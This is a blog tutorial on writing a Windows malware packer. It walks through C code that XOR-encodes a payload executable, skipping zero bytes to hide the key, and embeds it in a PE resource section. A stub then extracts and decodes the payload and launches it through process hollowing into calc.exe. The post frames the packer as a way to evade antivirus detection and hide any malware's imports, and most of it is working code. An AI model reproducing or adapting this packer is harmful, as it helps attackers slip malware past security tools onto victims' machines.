Malware Launching - Packing

1. Context

When I first started in malware development, the question I always have in the back of my mind is about how malware can be launched since a lot of AV programs are evolving to detect more and more malicious executable nowadays.

AVs are heavily depedent on the signatures of an executable to decide whether if it is a malware or not. For example, they can check the imported functions that the executable uses, coding techniques that are frequently used by detected malwares, …

The point is, an executable is easy to reverse engineer because at the end of the day, it’s just a bunch of bits and bytes put together.

In order for the malware to hide itself, the malware author must use a technique called Packing. This is an creative technique to launch malware, so after having reversing and unpacking a lot of malware, I have decided to code a packer of my own to see how hard it is!

2. Packing explained

Basically, the real malicious executable is encoded, encrypted, and compressed inside a normal executables. This executable only contains a small piece of code called the stub, which unpacks, decodes, and launch the real malicious executables.

Most packed malwares shrink in size, and they don’t use a lot of import functions or usually resolve their imports dynamically to make reverse engineering much harder.

There are many official packing programs out there on the Internet such as UPX, but those are easily unpack by anyone. In order to pack sufficiently, most malware authors use packing services where they buy the greatest and latest packing stub online to pack their own malware.

3. Packing in resource section

There are a few ways to store the malicious executable in the packed file, and one of them is the resource section. This section allows you to store a large chunk of bytes where you can extract and use it anytime you want.

To add the malicious executable into the resource section of a PE file, I write a simple program to help me with this.

First, we do the basic stuff to open the malicious executable, allocate virtual memory, and write the entire content into that chunk of memory.

HANDLE hResourceFile = CreateFileA( // file handle for the malicious executable
		resourceFile,
		GENERIC_READ,
		0,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL
	);

if (hResourceFile == INVALID_HANDLE_VALUE) {
    printf("CreateFileA fails.\n");
    return -1;
}

DWORD dwResourceSize = GetFileSize(hResourceFile, NULL); // get size
if (dwResourceSize <= 0) {
    CloseHandle(hResourceFile);
    printf("GetFileSize fails.\n");
    return -1;
}

LPVOID lpResourceBuffer = VirtualAlloc( // alocate size amount of bytes
    NULL,
    dwResourceSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

if (!lpResourceBuffer) {
    CloseHandle(hResourceFile);
    printf("VirtualAlloc fails.\n");
    return -1;
}

if (!ReadFile( // read file into virtual memory
    hResourceFile,
    lpResourceBuffer,
    dwResourceSize,
    NULL,
    NULL
)) {
    VirtualFree(lpResourceBuffer, dwResourceSize, MEM_FREE);
    CloseHandle(hResourceFile);
    printf("ReadFile fails.\n");
    return -1;
}

Next, in order to write the content of this executable, I decide to encode it with a XOR algorithm. I pick 0x72 out of random because it’s the birthday of an important person of mine so :kissing:

There are other ways to encode the content, but the point is still the same. We want that when analysis looks at the malware’s resource, they will just be looking at a bunch of garbage bytes.

	BYTE* temp = (BYTE*)lpResourceBuffer;

	DWORD i;
	for (i = 0; i < dwResourceSize; i++) {
		BYTE each = *temp;
		if (each != 0 && each != 0x72) {
			*temp = each ^ 0x72;
		}

		temp++;
	}

Notice that I’m only XOR-ing the byte if it is not 0 or my XOR key. The reason is that a normal executable has a lot of \x00 bytes. If we XOR these bytes with our key, the resource will look like this.

alt text

In Resource Hacker, that’s how my executable looks inside the resource section if we XOR \x00 bytes. There are a bunch of 0x72 inside this section, and the analysis can probably guess that I’m using a XOR algorithm with the key of 0X72 in a few minutes of looking at this.

Therefore, we just ignore the \x00 bytes!

Next, we use the combination of calls BeginUpdateResourceA, UpdateResourceW, and EndUpdateResourceA. I won’t go too much into how these works cause I mainly just copy the code here because it’s pretty simple.

HANDLE hUpdate = BeginUpdateResourceA(
    fileName,
    FALSE
);

if (!hUpdate || hUpdate == INVALID_HANDLE_VALUE) {
    VirtualFree(lpResourceBuffer, dwResourceSize, MEM_FREE);
    printf("BeginUpdateResourceA fails.\n");
    return -1;
}

if (!UpdateResourceW(
    hUpdate,
    L"EXE",
    MAKEINTRESOURCE(69),
    MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),
    lpResourceBuffer,
    dwResourceSize
)) {
    VirtualFree(lpResourceBuffer, dwResourceSize, MEM_FREE);
    printf("UpdateResourceW fails\n");
    return -1;
}

if (!EndUpdateResourceA(
    hUpdate,
    FALSE
)) {
    VirtualFree(lpResourceBuffer, dwResourceSize, MEM_FREE);
    printf("EndUpdateResourceA fails\n");
    return -1;
}

I have included the code for this here.

3. Packing stub

Now that we have the AddResource program, we can start coding our stub in another file and add the malicious file into the resource section of this file.

I. Decode

First, let’s create a function to decode the program for when we extract it from the resource section. This will just be the reverse of the XOR algorithm up there!

void unXor(LPVOID lpBuffer, DWORD dwBufferSize) {
	BYTE* temp = (BYTE*)lpBuffer;

	DWORD i;
	for (i = 0; i < dwBufferSize; i++) {
		BYTE each = *temp;
		if (each != 0 && each != 0x72) {
			*temp = each ^ 0x72;
		}
		temp++;
	}
}

II. Find resource

Note that our program adds the malicious executable into the resource with the name ID of 69 and the type of EXE.

alt text

Then, we can get the handle to our current executable, and call FindResource to find the malicious executable.

If we can’t find it, it means that we haven’t added it to the resource section, and the program will just exit right away.

HMODULE hFile = GetModuleHandleA(NULL);
if (!hFile) {
    printf("LoadLibraryA fails\n");
    return -1;
}
HRSRC hResource = FindResourceA(
    hFile,
    MAKEINTRESOURCEA(69),
    "EXE"
);

if (!hResource) {
    printf("FindResourceA fails. 0x%x\n", GetLastError());
    return -1;
}

Next, we can call LoadResource and LockResource to get a pointer to this resource in memory.

Also, we call SizeofResource to get the size of this resource(or the size of the malicious file). This is needed to know how much we need to read from memory.

DWORD dwSizeOfResource = SizeofResource(NULL, hResource);
if (dwSizeOfResource == 0) {
    printf("SizeofResource fails\n");
    return -1;
}
HGLOBAL hgResource = LoadResource(
    NULL,
    hResource
);

if (!hgResource) {
    printf("LoadResource fails\n");
    return -1;
}
// lpResource is the raw pointer to the resource in memory
LPVOID lpResource = LockResource(hgResource); 

if (!lpResource) {
    printf("LockResource fails\n");
    return -1;
}

III. Read resource into memory

Next, we will allocate virtual memory in our current process with the file size using VirtualAlloc.

Then, we can just call memcpy to copy the whole chunk from lpResource into this newly allocated virtual memory chunk.

LPVOID lpBuffer = VirtualAlloc(
    NULL,
    dwSizeOfResource,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);
if (!lpBuffer) {
    printf("VirtualAlloc fails\n");
    return -1;
}

memcpy(lpBuffer, lpResource, dwSizeOfResource);
unXor(lpBuffer, dwSizeOfResource);

Also, we need to make sure to reverse the XOR-encoded chunk into correct executable code.

IV. Launch the malicious code

Now that we have a buffer of the malicious executable file in local virtual memory, we can simply use the technique Process Hollowing to execute it as a remote process.

You can view how to implement that technique in my previous blog post. I won’t go too much into it here since I legit just copy and paste my code from my Process Hollowing project into this code.

WCHAR targetPath[MAX_PATH];
if (!get_calc_path(targetPath, MAX_PATH)) {
    return -1;
}

if (processHollowing(targetPath, lpBuffer, dwSizeOfResource)) {
    printf("Injected!\n");
}
else {
    printf("Injection failed\n");
}
if (lpBuffer) {
    VirtualFree(lpBuffer, dwSizeOfResource, MEM_FREE);
}

4. Final product

Now, let’s try and see if our packer works!

First, let’s try packing our malicious executable by adding it to the resource section of our packer.

Next, let’s try executing our packed executable! If everything works, we will see the malware launched as Calculator.exe!

Let’s compare the original malware import table with the packed version. Usually, from static reversing by viewing the import functions, we can usually guess the functionality of the executable. Let’s see how they differ.

alt text

The main functions that we use in the malware is MessageBox and ShowWindow. However, the packed version never calls these function, yet the functionality of the malware is still carried out. This shows that we have completely hide the true purpose and capability of whatever malware we want to execute.

5. Wrapping up

This packer is certainly not perfect because there are a lot more obfuscation and anti-reversing techniques that we can implement in the stub, but I’m not gonna go into it here because I am kind of lazy right now.

So maybe I’ll do that for the second part of this post!

Hopefully this has given you a simple view into how malware can pack and unpack itself to achieve stealth and evade AVs on Windows machine!

Feel free to check out the full Github repo here!